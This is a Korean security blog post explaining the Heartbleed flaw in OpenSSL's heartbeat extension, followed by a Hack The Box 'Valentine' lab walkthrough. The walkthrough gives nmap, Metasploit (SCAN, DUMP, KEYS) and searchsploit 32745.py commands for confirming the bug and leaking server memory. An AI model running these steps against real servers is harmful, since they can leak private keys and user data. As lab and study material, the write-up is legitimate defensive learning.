개념
외부 시스템의 내부 메모리가 새어나오게 한다 - 출혈, bleed!
2014년 4월, 유명한 오픈소스 라이브러리인 OpenSSL에서 발견된 취약점이다.
OpenSSL의 "heartbeat"라는 확장 모듈에서 클라이언트 요청 메시지를 처리할 때 데이터 길이 검증을 수행하지 않아 시스템 메모리에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있다.
👉 OpenSSL
데이터 통신의 암호화를 위한 프로토콜인 SSL/TLS 프로토콜을 구현한 오픈소스 라이브러리이다.
C언어로 작성되어 있는 중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어 있다.
키 생성, 인증 기관 생성 등 기능이 있다.
- SSL(Secure Sockets Layer)
- 클라이언트와 서버가 데이터 통신할 때, 통신 내용을 안전하게 보호하기 위해 쓰인다.
- 서버 인증, 클라이언트 인증, 데이터 암호화 기능을 제공한다.
- SSL을 사용하는 URL은 https 을 사용한다. ( ↔ http)
- 이후 SSL이 TLS(Transport Layer Security)라고 이름이 바뀐다.
👉 OpenSSL - "heartbeat"
클라이언트와 서버 간의 안정적인 연결을 위해 연결 상태를 체크하는 OpenSSL 확장 모듈이다.
클라이언트는 서버에게 heartbeat를 이용하여 임의의 정보와 그 정보의 길이를 함께 전송하고, 서버는 전달받은 정보를 다시 클라이 언트에게 전달해주며 자신의 존재를 알려준다.
😈 취약 버전
OpenSSL 1.0.1 ~ OpenSSL 1.0.1f
OpenSSL 1.0.2-beta, OpenSSL 1.0.2-beta1
원리
SSL/TLS를 이용하여 연결된 두 호스트, 서버와 클라이언트가 있다고 하자.
두 호스트는 연결 확인을 위해서 일정하게 "heartbeat" 메시지를 주고받는다.
메시지는 문자열과 그 문자열의 길이(16비트=2바이트)로 구성된다.
- 정상 동작
- 클라이언트가 TLS 프로토콜 레코드에 "bird" 문자열과 그 문자열 길이 "4"가 담긴 메시지를 보낸다.
- 서버는 메시지에 담긴 문자열 "bird"를 자신의 메모리 힙 공간에 문자열을 담을 만큼의 공간을 할당하여 저장한다.
- 서버는 그 문자열의 시작 위치부터 지정된 문자열의 길이 4 바이트들을 메모리에서 읽어서 클라이언트에게 반송한다.
- 악용 동작
- 클라이언트가 TLS 프로토콜 레코드에 "bird" 문자열과 문자열 길이를 "65535"( 2바이트에 담을 수 있는 가장 큰 부호 없는 정수, 16진수로는 0xffff ) 으로 조작하여 메시지를 보낸다.
- 서버는 메시지에 담긴 문자열 "bird"를 자신의 메모리 힙 공간에 문자열을 담을 만큼의 공간을 할당하여 저장한다.
- 이때 실제 문자열보다 지정한 문자열 길이가 더 크면, 할당된 메모리 영역 바깥에 있는 다른 프로그램들이 사용하는 공간의 바이트들을 읽게 된다.
- 따라서 bird 문자열 뒤의 "65531"자도 함께 읽어 반송하면서 메모리 안의 65531바이트가 유출된다.
현대적인 프로그래밍 언어는 프로그램이 힙에 할당한 메모리 영역 바깥의 메모리에 접근하는 것을 차단하지만, C는 그렇지 않다. OpenSSL은 C로 구현되었기 때문에 취약점이 발생했다.
실습 - ( HTB "Valentine" )
1. 하트블리드 취약점 확인
(1) Nmap
nmap -p 443,80 --script=ssl-heartbleed 10.10.10.79
Nmap의 ssl-heartbleed 스크립트를 사용한다.TLS heartbeat 레코드를 탐색해서 하트블리드 버그를 찾는다. Openssl 버전 영향을 받지 않아 검출 정확도가 높다.
(2) Metasploit
msfconsole -q
search heartbleed
use 1
show options
set rhosts 10.10.10.79
show actions
set action SCAN
run
+ sslscan [ip주소]]
으로도 확인할 수 있으나 sslscan 버전을 다운그레이드 해야한다.
2. 하트블리드 취약점 공격
(1) 공격 스크립트 이용 - 32745.py
searchsploit heartbleed
searchsploit -m 32745
python 32745.py [target IP]
유출된 메모리에서 문자열 일부를 확인할 수 있다.
wireshark로 좀 더 한눈에 볼 수 있다.
(2) Metasploit
DUMP랑 KEYS를 사용해보겠다.
set action DUMP
run
이진 파일을 사람이 읽을 수 있는 문자열만 추출해보자.
strings [덤프파일경로] > dump.txt
set action KEYS
run
( 이 valentine 머신에서는 다른 방법으로 개인키를 획득하여 익스플로잇해야한다. )
Reference :
잘못된 부분이 있을 수 있습니다 !! 부족한 점은 댓글로 피드백 바랍니다 :)
'CVE' 카테고리의 다른 글
Python : PIL.ImageMath.eval() | CVE-2022-22817 (0) | 2022.07.21 |
---|---|
셸쇼크 | Shellshock | CVE-2014-627* (0) | 2022.04.24 |